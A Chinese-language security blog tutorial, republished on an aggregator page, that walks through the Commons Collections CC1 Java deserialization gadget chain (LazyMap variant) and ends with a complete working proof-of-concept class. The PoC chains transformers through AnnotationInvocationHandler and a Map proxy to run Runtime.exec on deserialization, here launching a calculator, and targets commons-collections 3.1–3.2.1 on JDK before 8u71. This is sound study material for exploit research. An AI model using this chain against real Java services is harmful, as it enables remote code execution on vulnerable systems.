当前位置:   article > 正文

Java安全 反序列化(4) CC1链-LazyMap版

Java安全 反序列化(4) CC1链-LazyMap版

Java安全 反序列化(4) CC1链-LazyMap版

实验环境:存在漏洞的版本 commons-collections3.1-3.2.1 jdk 8u71之后已修复不可利⽤

文章目录

  • Java安全 反序列化(4) CC1链-LazyMap版
  • 一.跟踪挖掘CC1_LazyMap原理
  • 二.完整CC1_Lazy版Poc

接着上一篇文章我们通过ChainedTransFormer实现任意命令执行

Transformer[] transformers=new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

这篇文章探究从另个方向实现ChainedTransformer的执行

一.跟踪挖掘CC1_LazyMap原理

查看transformer的用法

image-20240321230450795

在LazyMap.get()方法调用了factory.transform(key)

前提是保证LazyMap中的键(Key)为空

LazyMap可以理解为"懒惰的Map集合" 本身就没有Key值的传递

这个判断是可以直接过的

image-20240321230901155

和TransformerMap一样protected构造函数(仅仅被内部访问)通过公共静态方法decorate构造image-20240321231006883

接受Map和Factory 可以尝试调用实例化后的LazyMap.get方法

 Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object> hashmap=new HashMap<>();
         Map<Object,Object> lazymap= LazyMap.decorate(hashmap,chainedTransformer);
         lazymap.get(1);
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

image-20240321232414195

现在的问题是如何调用LazyMap.get()方法

我们可以和上篇文章一样通过AnnotationInvocationHandler作为入口类

image-20240321234052996

AnnotationInvocationHandler本意就是动态代理的调用类(Invocation Hanndler)

invoke方法方法判断 进行了两个判断

第一的判断调用的方法名不能是equals

第二个判断了方法参数为0 也就是无参方法

比较巧合的一件事是在AnnotationInvocationHandler的readobject中

image-20240321234745221

可控的memberValues调用了entrySet方法

恰好是个无参方法

image-20240321234824129

那么我们的思路就非常明确了

给Map<String, Object> memberValues套一层动态代理,调用的处理类也是AnnotationInvocationHandler,就可以触发get方法实现RCE

参考上篇文章我们如何控制通过反射控制AnnotationInvocationHandler

Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationDeclaredConstructor = annotation.getDeclaredConstructor(Class.class,Map.class);
        annotationDeclaredConstructor.setAccessible(true);
        InvocationHandler annotationInvocationHandler =(InvocationHandler) annotationDeclaredConstructor.newInstance(Target.class,lazymap);
  • 1
  • 2
  • 3
  • 4

这里创建动态代理

在运行期动态创建一个interface实例的方法如下:

  1. 定义一个InvocationHandler实例,它负责实现接口的方法调用;

  2. 通过

    Proxy.newProxyInstance()
    
    • 1

    创建interface实例,它需要3个参数:

    1. 使用的ClassLoader,通常就是接口类的ClassLoader
    2. 需要实现的接口数组,至少需要传入一个接口进去;
    3. 用来处理接口方法调用的InvocationHandler实例。
  3. 将返回的Object强制转型为接口。

Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},annotationInvocationHandler);
  • 1

然后再将动态代理Proxy作为参数传递给AnnotationInvocationHandler类,生成实例化,反序列化后readobject自动触发 代理类 的 无参方法进入代理的处理类invoke,走LazyMap的get方法,从而将整个链子打通

Map<Object,Object> mapproxy = (Map<Object, Object>) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},annotationInvocationHandler);
        Object o = annotationDeclaredConstructor.newInstance(Target.class,mapproxy);
  • 1
  • 2

可以执行命令

image-20240322001844417

二.完整CC1_Lazy版Poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1_LazyMap {
    public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, IOException {
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object> hashmap=new HashMap<>();
         Map<Object,Object> lazymap= LazyMap.decorate(hashmap,chainedTransformer);
        Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationDeclaredConstructor = annotation.getDeclaredConstructor(Class.class,Map.class);
        annotationDeclaredConstructor.setAccessible(true);
        InvocationHandler annotationInvocationHandler =(InvocationHandler) annotationDeclaredConstructor.newInstance(Target.class,lazymap);
        Map mapproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},annotationInvocationHandler);
        Object o = annotationDeclaredConstructor.newInstance(Target.class,mapproxy);
        serialize(o);
        unserialize();


    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new
                FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        oos.close();
    }
    public static void unserialize() throws IOException, ClassNotFoundException
    {
        ObjectInputStream ois = new ObjectInputStream(new
                FileInputStream("ser.bin"));
        ois.readObject();
        ois.close();
    }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53

CC1链的Transformer和LazyMap都依赖了AnnotationInvocationHandler作为入口类, jdk 8u71之后已修复不可利⽤,因为jdk高版本后 开发者修改AnnotationInvocationHandler的代码

下篇探究CC6 实现无视JDK版本实现RCE

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/菜鸟追梦旅行/article/detail/694677
推荐阅读
相关标签
  

闽ICP备14008679号